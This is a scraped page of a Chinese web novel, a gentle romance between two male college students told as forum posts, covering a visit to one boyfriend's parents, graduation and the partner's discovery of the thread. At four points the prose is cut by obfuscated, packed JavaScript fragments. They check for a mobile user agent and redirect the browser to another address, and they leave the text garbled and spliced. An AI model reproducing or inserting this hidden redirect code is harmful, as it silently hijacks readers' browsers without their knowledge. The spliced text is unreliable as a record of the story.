35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382535|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你平时什么样，就什么样！ 别装，一装就露馅！ 55楼楼主： 好。 谢谢你们。 —— 【和顾辞聊天】 晚上我给顾辞发消息。 【张】：你妈喜欢吃什么？ 【圆圆】：？ 【张】：我上门要带东西啊，得投其所好。 【圆圆】：不用带。 【张】：不行，我妈说了，不能空手。 【圆圆】：…… 【圆圆】：她喜欢吃甜的。 【圆圆】：但血糖有点高，不能多吃。 【张】：懂了。 【张】：少糖的点心，或者水果。 【圆圆】：嗯。 【张】：你爸呢？ 【圆圆】：他喝茶。 【圆圆】：但你别买茶叶。 【张】：为什么？ 【圆圆】：他太挑了，你买的他肯定看不上。 【张】：…… 【张】：好伤人啊。 【圆圆】：实话。 【张】：那送什么？ 【圆圆】：什么都不送最好。 【张】：不行。 【张】：你快帮我想！ 【圆圆】：…… 【圆圆】：我妈前两天说想吃柿饼。 【圆圆】：老字号的，那种软软的有白霜的。 【张】：柿饼？？？ 【张】：这么简单？？？ 【圆圆】：嗯。 【张】：那行！ 【张】：我买柿饼！ 【张】再加点别的！ 【圆圆】：不用别的。 【张】：不行，太少了。 【圆圆】：那你再加个水果吧。 【张】：好！ 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：不用紧张。 【圆圆】：就是吃个饭。 【圆圆】：我妈既然让你来，就不会为难你。 我看着那几行字。 心里突然就不那么慌了。 他说“不用紧张”。 他说“就是吃个饭”。 他说“我妈既然让你来，就不会为难你”。 操。 我信他。 —— 【现在】 现在我在床上，盯着天花板。 礼物想好了：老字号柿饼+车厘子。 衣服想好了：那件深灰色卫衣。 时间：提前五分钟到。 称呼：叫他“小辞”。 态度：多夸阿姨做的菜，帮忙收碗，不一直盯着顾辞看。 一切都准备好了。 但我还是有点紧张。 不是怕他爸妈不喜欢我。 是怕我表现不好，给他丢人。 —— 兄弟们。 你们还有什么要叮嘱的吗？ 在线等。 明天就去了。 —— 1楼匿名用户： 最后叮嘱一句： 不管发生什么，记得笑。 笑着说话，笑着吃饭，笑着道别。 笑容是最好的礼物。 2楼匿名用户： 对对对！ 笑得好看点！ 别像平时那样傻笑！ 3楼楼主： …… 我尽量。 4楼匿名用户： 还有，回来记得汇报！ 我们要听全过程！ 5楼楼主： 好。 一定。 6楼匿名用户： 去吧儿子！ 赛博父母等你凯旋！ 7楼匿名用户： 加油楼主！ 拿下顾辞爸妈！ —— 【深夜】 手机又震了一下。 【圆圆】：睡了？ 【张】：没。 【圆圆】：还在紧张？ 【张】：嗯。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你知道我妈今天说什么了吗？ 【张】：什么？ 【圆圆】：她说，那个孩子，眼睛挺干净的。 【张】：……眼睛干净？ 【圆圆】：嗯。 【圆圆】：她说，看一个人，先看眼睛。 【圆圆】：你眼睛干净，说明人不会差。 我盯着那几行字。 眼眶突然有点酸。 他妈说，我眼睛干净。 他妈说，人不会差。 我打字： 【张】：替我谢谢你妈。 【圆圆】：你自己谢。 【圆圆】：明天当面谢。 【张】：好。 【圆圆】：晚安。 【张】：晚安。 —— 窗外有月光。 很亮。 我想起他妈说的那句话。 “眼睛挺干净的。” 我以前从来不知道，眼睛还能看出来这些。 但她说对了。 我确实没什么坏心眼。 我只喜欢一个人。 喜欢了很久。 以后也会一直喜欢。 —— 明天。 去见他的爸妈。 去见那个说他“眼睛干净”的阿姨。 去见那个“肯定看不上我买的茶叶”的叔叔。 不怕。 有他在旁边。 什么都不怕。 24. 见家长回来了！汇报战况！ 标题：【树洞】见家长回来了！汇报战况！ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们！！！ 我活着回来了！！！ 不对，不只是活着—— 是活着、并且感觉像打完一场加时赛、但最后赢了的那种活着！！！ —— 今天早上我五点就醒了。 真的，五点。 比踢比赛还紧张。 在床上躺到六点半，爬起来洗澡、洗头、刮胡子。 穿上那件深灰色卫衣——顾辞说好看的那件。 对着镜子照了八百遍，确保没有褶皱，没有线头，没有奇怪的味道。 礼物检查了三遍： 老字号柿饼，包装盒是那种复古的纸盒，看着挺有档次。 车厘子，一颗一颗挑的，又大又红，装在礼盒里，上面还系了个蝴蝶结。 我妈昨晚帮我系的蝴蝶结，说这样显得郑重。 出门前，我妈又拉住我。 “记住，少说话，多笑。” “叫阿姨，叫叔叔，嘴甜点。” “吃完饭帮忙收碗，别坐着不动。” 我说：“记住了记住了。” 她说：“还有，别一直盯着人家儿子看！” 我：“……” 她说：“你以为我不知道你？” 我默默出门了。 —— 地铁一个小时四十分钟。 我站在车厢里，脑子里一直在过流程。 进门先说“叔叔阿姨好”。 递礼物说“这是老家那边的柿饼，我妈说这个好吃，带来给您尝尝”。 坐下之后别乱看。 吃饭的时候多夸阿姨做的菜。 吃完饭帮忙收碗。 走的时候说“谢谢叔叔阿姨招待”。 一遍一遍地过。 旁边的人看我跟看傻子似的。 —— 顾辞在小区门口等我。 看见我从地铁站出来，他走过来。 今天他穿了一件浅灰色的毛衣，头发比平时更软，整个人看起来……怎么说呢，好看得要命。 但我没敢多看。 我妈说了，别一直盯着人家儿子看。 他看着我，嘴角弯了一下。 “紧张？” 我说：“不紧张。” 他说：“你手心出汗了。” 我低头一看，操，真的。 他把手伸过来，握了一下我的手。 “别怕。”他说，“我在。” 就这四个字。 我深吸一口气。 跟着他走进小区。 —— 顾辞家是他爸妈单位的家属院，老小区，但特别安静。 他家在五楼，没电梯。 爬楼的时候，我在心里又把流程过了一遍。 他在前面走，我在后面跟着。 走到门口，他回头看我一眼。 “准备好了吗？” 我说：“好了。” 然后他敲门。 门开了。 —— 开门的是顾辞妈妈。 她穿着一件深蓝色的毛衣，头发挽起来，整个人看起来很温柔。 但那个眼神，确实像顾辞说的——看人看得很准。 她看了我一眼，然后笑了。 “张扬来了，快进来。” 我赶紧说：“阿姨好！” 然后递上礼物。 “阿姨，这是老家那边的柿饼，我妈说这个好吃，带来给您尝尝。还有车厘子，挺新鲜的。” 她接过去，低头看了看，又抬头看我。 那个眼神，怎么说呢…… 有点复杂。 但最后她说：“有心了，谢谢。” 然后让我进屋。 —— 进屋之后，我看见了顾辞的爸爸。 他坐在客厅的沙发上，手里拿着一份报纸。 我进去的时候，他抬头看了我一眼。 就一眼。 然后继续低头看报纸。 没说话。 我站在那里，不知道该不该过去打招呼。 顾辞在旁边轻声说：“爸，张扬来了。” 他爸这才又抬起头。 看了我一眼。 还是没说话。 然后“嗯”了一声。 就这一声“嗯”，我感觉后背都凉了。 那个眼神，那个态度—— 怎么说呢，不是凶，也不是讨厌。 就是……冷。 像在看一个不太重要的陌生人。 我站在那儿，不知道该说什么。 顾辞妈妈在旁边打圆场：“老顾，孩子跟你打招呼呢。” 他爸这才放下报纸，看了我一眼。 “坐吧。” 就两个字。 我赶紧坐下。 —— 客厅里的十分钟，是我这辈子最长的十分钟。 他爸坐在沙发上，继续看报纸。 他妈去厨房忙了。 顾辞坐在我旁边，握着我的手——在茶几下面握着，他爸妈看不见。 但那个温度，让我没那么慌了。 我偷偷打量了一下客厅。 书架上全是书，墙上挂着一幅字，写着什么“宁静致远”。 茶几上摆着一套茶具，看着就很贵。 整个客厅，透着一股……文化人的气息。 和我家完全不一样。 我家客厅，茶几上摆的是遥控器和零食，墙上挂的是我的奖状。 我坐在那儿，感觉自己像个闯进来的外人。 —— 终于熬到吃饭。 他妈做了一桌子菜。 红烧肉、清蒸鱼、炒青菜、还有一锅汤。 她招呼我：“张扬，坐这儿。” 我坐下，他坐我旁边。 他妈说：“也不知道你爱吃什么，就随便做了点。” 我赶紧说：“阿姨做的都好吃！” 她笑了笑，没说话。 他爸坐在主位，还是一句话不说。 开始吃饭之后，他妈问我：“你妈妈最近怎么样？” 我说：“挺好的，谢谢阿姨关心。” 他妈又问：“你平时训练累不累？” 我说：“还好，习惯了。” 他妈说：“多吃点，别客气。” 我说：“好，谢谢阿姨。” 全程，他爸就在旁边吃自己的。 一句话没说。 —— 吃到一半，他爸突然放下筷子。 看着我。 “你是体育生？” 我说：“是的叔叔，踢足球的。” 他“嗯”了一声。 然后又问：“以后打算干什么？” 我说：“想继续踢球，或者当教练。” 他又“嗯”了一声。 然后说：“能养活自己吗？” 我愣了一下。 他说：“我是说，踢球这个事，能当一辈子饭吃吗？” 那个语气，不是嘲讽，不是打击。 就是……在问一个很实际的问题。 我张了张嘴，不知道该怎么说。 顾辞在旁边说：“爸……” 他妈也打圆场：“老顾，孩子第一次来，别问这些。” 但他爸没理他们，就那么看着我。 等着我回答。 我想了想，说：“叔叔，我现在在球队，有工资的。以后就算不踢了，也能当教练。体育这个行业，越老越吃香。” “而且，”我看了顾辞一眼，“我会努力，让他过好日子。” 说完我就后悔了。 这话是不是太土了？ 什么叫“让他过好日子”？ 我在说什么啊？ 但他爸听完，沉默了几秒。 然后又拿起筷子。 “吃饭吧。” 就三个字。 我不知道他是什么意思。 但至少，他没再问了。 —— 吃完饭，我主动站起来帮忙收碗。 他妈说：“不用不用，你坐着。” 我说：“阿姨我帮您。” 她看了我一眼，没再拒绝。 我端着碗进厨房，他妈在旁边洗。 我站在那儿，不知道该干什么。 他妈突然说：“张扬。” “嗯？” “你刚才那句话，说的是真心的？” 我愣了一下。 然后说：“真的。” 她没说话。 但嘴角好像弯了一下。 —— 吃完饭又坐了一会儿，我准备走了。 他妈送到门口，说：“下次再来玩。” 我说：“谢谢阿姨。” 然后看向他爸。 他爸还是坐在沙发上，看报纸。 我犹豫了一下，还是走过去，说：“叔叔，那我先走了，谢谢您。” 他爸抬起头，看了我一眼。 还是没什么表情。 但他说了一句话。 “好好踢球。” 就这四个字。 我愣了一下，然后说：“好，谢谢叔叔。” —— 从楼道出来，我才发现自己后背全是汗。 顾辞在旁边，嘴角弯着。 “紧张？” 我说：“废话。” 他说：“我爸就那样，对谁都冷。” 我说：“我知道。” 他看了我一眼。 “但他让你‘好好踢球’。” “嗯？” “他对不熟的人，连话都不说。” “让你‘好好踢球’，说明他认可你了。” 我愣住了。 真的假的？ 那个冷冰冰的“好好踢球”，是认可？ 顾辞说：“我爸这个人，不轻易开口。” “他开口了，就是放在心上了。” 我看着他的眼睛。 那里面有笑意，还有一点点骄傲。 操。 我突然觉得，今天这一趟，值了。 —— 现在我已经到家了。 躺在床上，给我妈汇报了全过程。 我妈听完，说：“他爸让你‘好好踢球’？那就是认了。” 我说：“真的？” 她说：“人家那种文化人，不兴说那些肉麻的话。能开口，就是认可。” 我又想起他爸那个眼神。 冷冷的，但不讨厌。 还有那句“好好踢球”。 我拿出手机，给顾辞发消息。 【张】：到家了。 【圆圆】：嗯。 【张】：你爸……真的认可我了？ 【圆圆】：嗯。 【张】：你怎么知道？ 【圆圆】：他刚才问我，那个孩子，柿饼在哪儿买的。 【张】：？？？ 【圆圆】：他吃了。说好吃。 我看着那行字，愣了三秒。 然后笑了。 笑得像个傻子。 —— 兄弟们。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382536|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >今天这一趟，真的像踢了一场加时赛。 他爸那个眼神，那个态度，那个冷冷的“能养活自己吗”，每一分钟都在考验我的心理素质。 但他妈很温柔，给我做了那么一大桌子菜。 他爸最后说了“好好踢球”，还吃了我的柿饼。 顾辞全程握着我的手。 够了。 真的够了。 —— 1楼匿名用户： 沙发！！！ 楼主你终于回来了！！！ 2楼匿名用户： 啊啊啊啊啊啊！！！ 见家长成功了！！！ 3楼匿名用户： 他爸那个“能养活自己吗”！！！ 太真实了！！！ 这是每个爸爸都会问的问题！！！ 4楼匿名用户： 楼主回答得好好啊！！！ “体育行业越老越吃香”！！！ “我会努力让他过好日子”！！！ 虽然土，但真诚！！！ 5楼匿名用户： 真诚就是最大的武器！！！ 楼主你不懂那些弯弯绕绕，但你有一颗真心！！！ 这就够了！！！ 6楼匿名用户： 他爸最后说“好好踢球”，还吃了柿饼！！！ 这就是认可了啊！！！ 文化人的认可方式！！！ 7楼匿名用户： 他妈也好温柔！！！ “下次再来玩”！！！ 这就是接纳的信号！！！ 8楼匿名用户： 呜呜呜呜呜！！！ 赛博父母流下了欣慰的泪水！！！ 儿子终于被婆家认可了！！！ 9楼匿名用户： 楼主你今天表现真的可以！ 有礼貌，会帮忙，回答问题不怯场！ 满分！ 10楼楼主： 真的吗？ 我紧张得后背都是汗。 11楼匿名用户： 真的！ 紧张正常！ 但你该做的都做了！ 递礼物、夸阿姨、帮忙收碗、回答叔叔的问题！ 完美！ 12楼匿名用户： 而且你最后还主动去跟叔叔道别！ 这个细节加分！ 说明你懂礼貌！ 13楼匿名用户： 他爸那个“好好踢球”，就是最高评价了！ 你想想，那种书香门第，最看重什么？ 不是钱，不是地位，是“踏实”。 他让你好好踢球，就是认可你这个人是踏实的。 14楼楼主： …… 懂了。 谢谢你们。 15楼匿名用户： 对了楼主，你妈什么反应？ 16楼楼主： 我妈说：“行啊，没给老娘丢人。” 17楼匿名用户： 哈哈哈哈哈哈！ 亲妈认证！ 18楼匿名用户： 行了，儿子这次真的出息了！ 见家长圆满成功！ 19楼匿名用户： 所以接下来就是……两家见面？ 20楼楼主： …… 别。 让我缓缓。 21楼匿名用户： 哈哈哈哈哈哈！ 好好好，缓缓。 22楼匿名用户： 楼主，今天辛苦你了。 快去休息吧。 明天好好陪陪顾辞。 23楼楼主： 好。 谢谢你们。 —— 【最后的最后】 我躺在床上，看着手机。 想起今天的事，还是觉得像做梦。 他爸那个冷冷的表情。 他妈温柔的招呼。 顾辞全程握着我的手。 还有那句“好好踢球”。 手机震了一下。 【圆圆】：睡了？ 【张】：没。 【圆圆】：在想今天？ 【张】：嗯。 【圆圆】：我爸刚才又吃了一块柿饼。 【张】：？？？ 【圆圆】：他说，这个比上次别人送的好吃。 【张】：……那我下次再多买点。 【圆圆】：嗯。 【张】：顾辞。 【圆圆】：嗯？ 【张】：谢谢你爸妈。 【张】：谢谢你爸愿意问我那些问题。 【张】：谢谢你妈给我做那么多好吃的。 【张】：谢谢你全程握着我的手。 【张】：谢谢他们，把你养得这么好。 那边沉默了一会儿。 然后他回： 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：我妈刚才问我，那个柿饼在哪儿买的。 【圆圆】：我说你买的。 【圆圆】：她说，那孩子，还挺会挑的。 我看着那行字。 笑了。 笑着笑着，眼眶有点酸。 他妈说，那孩子，还挺会挑的。 我不是会挑柿饼。 我是会挑人。 挑了他。 —— 窗外有月光。 很亮。 我想起今天进门时，顾辞握了一下我的手。 他说：“别怕，我在。” 是的。 他在。 以后也会一直在。 25. 大结局：最好的安排 标题：【树洞】大结局：最好的安排 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 这是最后一帖了。 —— 【一、毕业】 六月了。 校园里到处都是穿学士服的人。 我和顾辞也拍了毕业照。 他穿学士服，我穿学士服。 我们站在图书馆门口，那个我们一起待过无数次的研修间楼下。 摄影师是我们队的队友，举着相机喊：“张队，笑一个！” 我笑了。 但我知道，我看的不是镜头。 我看的是旁边那个人。 他也在看我。 阳光落在他脸上，把他眼睛照得很亮。 快门声响的那一刻，我突然想起很多事。 想起第一次在操场边等他训练完。 想起第一次给他买包子。 想起第一次握他的手。 想起第一次说“我喜欢你”。 想起他说的那句话： “我等了你好久。” —— 【二、去向】 拍完毕业照，我们坐在未名湖边的长椅上。 我问他：“你确定跟着李老师是吧？” 他说：“嗯，本院的。” 我说：“那我以后还能来图书馆找你吗？” 他看了我一眼，嘴角弯起来。 “你什么时候不能来？” 我说：“那就好。” 沉默了一会儿。 他又问：“你呢？省队那边怎么说？” 我说：“过了。” 他愣了一下。 然后转头看着我。 “真的？” 我说：“真的。昨天刚通知的。” 他没说话。 但我看见他眼眶红了。 就一点点。 然后他低下头，轻声说： “张扬。” “嗯？” “你真厉害。” 我看着他的侧脸，阳光把他的睫毛照成淡金色。 我伸手，握住了他的手。 “是你厉害。”我说，“你等了我那么久，我才变成今天这样。” 他没说话。 但他握紧了我的手。 —— 【三、最好的安排】 那天晚上，我们一起去吃了那家小馆子。 点了常点的那些菜。 红烧肉，清炒时蔬，还有他爱喝的汤。 吃到一半，他突然说： “张扬。” “嗯？” “你知道吗，我以前想过很多次，我们毕业的时候会是什么样。” “想过你回老家，我留在京华。想过你继续踢球，我继续读书。想过我们会不会……慢慢就散了。” 我放下筷子，看着他。 他说：“但我没想到，最后是这样。” “你留在省队，我留在学校。你训练的地方，离我骑车二十分钟。” “你还能来找我吃饭，我还能去给你送水。” “你踢球的时候，我还能在看台上帮你数进了几个球。” 他说着说着，笑了。 那个笑，比阳光还亮。 他说：“张扬，这是最好的安排。” 我看着他的眼睛。 那双眼睛里，有未名湖的水光，有路灯的昏黄，有毕业季的晚风。 还有我。 只有我。 我说：“是。” “最好的安排。” —— 【四、那些年】 吃完饭，我们沿着未名湖走了一圈。 走到那棵梧桐树下，他突然停下来。 “张扬，你还记得这里吗？” 我看了看，说：“记得。” 那是第一帖那天晚上，他站在这里等顾远洲。 我抱着足球站在树后面，像个傻子一样。 他笑了。 “那天你冲出来的时候，我其实挺高兴的。” 我说：“高兴什么？” 他说：“高兴你在意我。” “虽然你当时那个样子，像要吃人。” 我：“……” 他说：“但我知道，你在意。” “你从小就这样，自己的东西不让别人碰。” “我当时想，原来我也是你的‘自己的东西’。” 他顿了顿。 “那时候我就知道，我有机会。” 我看着他的侧脸。 月光照在他脸上，把他整个人笼在一层淡淡的光里。 我突然想起第一次发帖那天晚上，我手抖着打字，说“急，在线等”。 那时候我不知道，这个帖子会写这么久。 会写二十多章。 会写到我毕业。 会写到他还在我身边。 —— 【五、赛博父母】 这些天，我翻了一遍以前的所有帖子。 从第一帖的“竹马脱单了如何调理”，到现在。 每一章，每一个回复，每一个“操”。 都还在。 那些深夜发帖的日子。 那些在线等回复的焦虑。 那些赛博父母们一条一条的支招。 “那是吃醋。” “你完了你动心了。” “快去问！” “儿子加油！” “赛博妈妈摸摸头。” 我看着那些熟悉的ID，突然有点想哭。 两年了。 从大三到大四，从冬天到夏天。 你们一直在。 —— 【六、感谢】 所以，兄弟们。 这是最后一帖了。 我想认真说几句感谢的话。 谢谢你们，在我第一次发帖像个傻子一样说“我是直男”的时候，没有骂我，而是告诉我“那是吃醋”。 谢谢你们，在我看见顾远洲就慌得要死的时候，告诉我“他不是来抢人的，是来告别的”。 谢谢你们，在我开不了口的时候，帮我编辑告白的话。 谢谢你们，在我第一次约会不知道去哪儿的时候，给我列清单。 谢谢你们，在我见家长紧张得不行的时候，告诉我“记得笑”。 谢谢你们，陪我走过这两年。 从一个连自己喜欢谁都搞不清楚的傻子，到现在。 从一个只会说“操”的体育生，到现在。 从一个不敢开口的人，到现在。 谢谢你们。 赛博父母们。 —— 【七、他】 最后，我想说说他。 顾辞。 我的圆圆。 他等了我很久。 从六岁到二十岁，十四年。 从意识到喜欢，到等我说出口，七年。 他看着我像个傻子一样说“我是直男”。 他听着我在更衣室里说那些混账话。 他一次次在操场边等我训练完，给我递水。 他一次次在食堂陪我吃饭，听我讲那些无聊的事。 他一次次在心里告诉自己“他是直男，别想了”。 但又一次次放不下。 他说，等我的那些年，最难的不是等。 是不知道会不会有结果。 是不知道我到底能不能开窍。 是不知道那些年，会不会只是一场空。 但他还是等了。 等到了。 等到了那个在树后面冲出来的傻子。 等到了那个在水族馆牵他手的人。 等到了那个在图书馆握着他手一下午的人。 等到了那个说“以后都有我”的人。 他说，这是最好的安排。 我说，是。 最好的安排。 —— 【八、现在】 现在我在宿舍里，敲下这些字。 窗外有月光。 很亮。 明天，我们要去领毕业证。 后天，我就要去省队报到了。 他在旁边收拾东西，说明天陪我去。 我说好。 其实我有点舍不得。 舍不得这个校园，舍不得这些日子，舍不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382537|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些在图书馆看他的下午，舍不得那些在操场边等他训练完的黄昏。 但我知道，新的日子要来了。 我继续踢球，他继续读书。 我们还在一个城市。 还能一起吃早饭，还能一起看月亮。 还能握着彼此的手。 —— 【九、最后一个问题】 兄弟们。 如果还有最后一个问题要问你们，那就是： 以后的日子，你们还会在吗？ 虽然帖子结束了。 但赛博父母，还在的吧？ —— 1楼匿名用户： 沙发。 但今天不想抢沙发。 只想说：在。 2楼匿名用户： 在。 一直都在。 3楼匿名用户： 赛博妈妈1号报到。 儿子毕业了，妈妈还在。 4楼匿名用户： 赛博爸爸2号报到。 以后有新动态，记得来汇报。 5楼匿名用户： 从第一帖追到现在，两年了。 看着楼主从“我是直男”到“最好的安排”。 赛博父母真的很欣慰。 6楼匿名用户： 呜呜呜呜呜我哭了。 真的哭了。 儿子长大了。 7楼匿名用户： 楼主，以后省队训练累了，记得来吐槽。 顾辞读研忙了，记得来秀恩爱。 见家长后续，记得来汇报。 我们都在。 8楼匿名用户： 对！ 虽然帖子结束了，但群还在。 “赛博父母关爱群”永远等你。 9楼匿名用户： 楼主，你最后那句话说得真好。 “最好的安排”。 是的，一切都是最好的安排。 你遇见他，他等你，你们在一起。 就是最好的安排。 10楼匿名用户： 顾辞等了你七年。 你陪了他一辈子。 值了。 11楼匿名用户： 行了，别煽情了。 儿子快去睡觉吧。 明天还要领毕业证呢。 12楼楼主： 好。 谢谢你们。 真的谢谢。 13楼匿名用户： 不谢。 赛博父母应该的。 14楼匿名用户： 儿子，以后好好的。 对顾辞好点。 对自己也好点。 15楼楼主： 嗯。 记住了。 —— 【最后的最后】 我把手机放下。 月光从窗户照进来，落在地上。 顾辞在旁边收拾东西，突然抬头看我。 “写完了？” 我说：“嗯。” 他走过来，坐在床边。 “写了什么？” “感谢的话。” 他笑了。 “感谢谁？” “赛博父母们。” 他愣了一下，然后说：“替我谢谢他们。” 我说：“你自己去群里说。” 他说：“好。” 他靠在我肩膀上。 窗外的月光很亮。 我低头看他，他闭着眼睛，睫毛垂下来，呼吸轻轻的。 我突然想起第一次发帖那天晚上，我躺在床上，满脑子都是他。 那时候我不知道，两年后他会这样靠在我肩膀上。 那时候我不知道，我们会一起毕业，一起留在同一个城市，一起走接下来的路。 那时候我不知道，最好的安排，是这样。 我轻轻握着他的手。 他动了一下，没睁眼。 但嘴角弯起来了。 —— 兄弟们。 帖子结束了。 但故事没有。 以后的日子，还长着呢。 —— （全文完） 26. 是的我发现了贴子（顾辞视角）^^…… 我发现那个帖子，是在水族馆约会之后。 —— 【一、发现】 那天晚上，张扬送我回宿舍。 他站在楼下，看着我，说：“晚安。” 我说：“晚安。” 他转身走了。 走了几步，又回头。 我看他。 他挠了挠头，说：“那个……今天特别开心。” 我说：“嗯。” 他又说：“你也是。” 然后他笑了，笑得像个傻子。 我也笑了。 他走了。 我上楼，进宿舍，坐下。 然后我拿出手机，打开那个论坛。 我知道这个论坛。 京华大学的树洞，平时无聊的时候会刷一刷。 那天我也不知道为什么，突然想搜一下张扬的ID。 他的ID很好猜。 他所有账号都叫那个名字。 “足球不行踢球去”。 我搜了。 然后我看到了那个帖子。 标题：【树洞】竹马脱单了如何调理？急，在线等，挺急的。 发帖时间，是几个月前。 我点进去。 然后我愣住了。 —— 【二、第一帖】 第一帖很长。 他说，他有个竹马，从小一起长大。 他说，竹马长得好看，黑发如墨，肤白如玉，鼻梁高挺，眼眸深邃若寒星。 他说，竹马性格寡淡，对谁都礼貌，但骨子里冷淡。 他说，那天晚上，他看见竹马和一个“表姐”站在一起，那个人挽着竹马的胳膊，竹马还对她笑。 他说，他当时整个人都裂开了。 他说，他像个傻子一样抱着足球站在树后面。 他说，他冲出去的时候，脑子一片空白。 他说，他回宿舍之后，手还在抖。 他说，他是不是占有欲太强了。 他说，他是直男。 他说，在线等，挺急的。 —— 我一条一条往下翻。 翻到那些评论。 “楼主这描述，书香门第文静受气包竹马x鲁莽直球体育生竹马，这CP我先磕为敬！” “你现在的反应叫‘吃醋’。” “你说你是直男，但你对他占有欲这么强，真的没问题吗？” “建议楼主今晚别睡了，好好审视一下自己的内心。” 我看着那些评论，手指停在屏幕上。 原来那天晚上，他站在树后面。 原来那天晚上，他看见我对着顾远洲笑。 原来那天晚上，他“整个人裂开了”。 我不知道。 我什么都不知道。 我只记得，那天晚上他冲出来的时候，表情很难看。 我以为他是讨厌顾远洲。 我以为他只是不喜欢有外人插进来。 我不知道那是吃醋。 我不知道那是他在意我。 —— 【三、潜水】 从那天晚上开始，我开始潜水。 每天刷那个论坛，看他有没有更新。 他更新了。 第二帖，他说那个“表姐”是男的，说那个人叫顾远洲，说那个人看我的眼神不对劲。 他说他慌了。 他说他怕我被骗。 他说他怕我被带走。 评论里有人说：“楼主，你那是吃醋，不是担心。” 他没回。 但我知道，他看见了。 第三帖，他陪我去临市看顾远洲。 他说他在高铁上看了我一整路。 他说他盯着我的侧脸，看了很久很久。 他说他不知道为什么，就是移不开眼。 评论里有人说：“楼主，你完了，你沦陷了。” 他还是没回。 但我看见他后来给那条评论点了个赞。 虽然他又取消了。 但我看见了。 —— 【四、那些帖子】 后来的每一天，我都在追。 他写第一次约会的紧张。 他写在水族馆偷拍我的照片。 他写牵我手的时候心跳有多快。 他写在图书馆握着我手一下午，舍不得松开。 他写在高铁上把我圈在怀里，怕别人挤到我。 他写回家路上，他有多开心。 他写寒假分开的每一天，他有多想我。 他写我妈发现的时候，他有多担心我。 他写想冲过来找我，又怕激化矛盾。 他写他怕我放弃。 他写他怕我太累。 他写他怕我在他看不见的地方偷偷掉眼泪。 每一条。 每一帖。 我都看了。 有时候是在深夜，有时候是在他训练的时候，有时候是在他给我发消息“吃了没”之后。 我看着他在帖子里的那些话，心里像有什么东西在一点点化开。 原来他那么早就喜欢我了。 原来他那么早就开始在意了。 原来他那些笨拙的表现，都是因为喜欢。 —— 【五、那些评论】 我还看评论。 那些“赛博父母”们的评论。 “楼主你完了你彻底完了。” “儿子终于长大了！” “赛博妈妈摸摸头。” “快去表白！” “我们等得好辛苦！” 有时候我看着那些评论，会忍不住笑。 因为那些评论，说的都是我想说的话。 我也想对他说：你终于开窍了。 我也想对他说：我等了好久。 但我没说。 我只是继续潜水。 —— 【六、表白那天】 表白那天晚上，他发消息说“我喜欢你”。 我回了两个字：“我等了你好久。” 发完我就哭了。 不是因为难过。 是因为终于等到了。 那天晚上我刷了半宿的帖子。 看他之前写的那些话。 看他怎么从“我是直男”变成“我喜欢你”。 看他怎么从“竹马脱单了如何调理”变成“上天赐给我这么好的男朋友”。 我看着看着，又哭了。 然后我给他发消息。 “张扬。” “嗯？” “谢谢你。” 他回：“谢什么？” 我说：“谢谢你，终于说了。” —— 【七、后来】 后来，我还是每天刷帖子。 看他写我们去图书馆，他握着我手一下午。 看他写他帮我改论文，说我教他用AI的样子很帅。 看他写我们一起回家，他在高铁上把我圈在怀里。 看他写见家长，他紧张得手心都是汗。 看他写他爸说“好好踢球”，他高兴得像进了球。 看他和赛博父母们聊天，被他们调侃，被他们鼓励，被他们关心。 每一条。 每一帖。 我都看了。 有时候他在帖子里写我，我会截图。 存进一个专门的相册。 名字叫“他眼里的我”。 —— 【八、最后一次更新】 昨天晚上，他发了最后一帖。 大结局。 他说，他要毕业了。 他说，他通过了省队选拔。 他说，我保研了，还在本校。 他说，我们还在一个城市，骑车二十分钟就能见面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382538|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说，这是最好的安排。 他在帖子里感谢了所有人。 感谢那些赛博父母们。 感谢他们陪他走过这两年。 感谢他们帮他出主意，帮他表白，帮他见家长，帮他变成更好的人。 我看着那些话，眼睛酸酸的。 然后我点开评论。 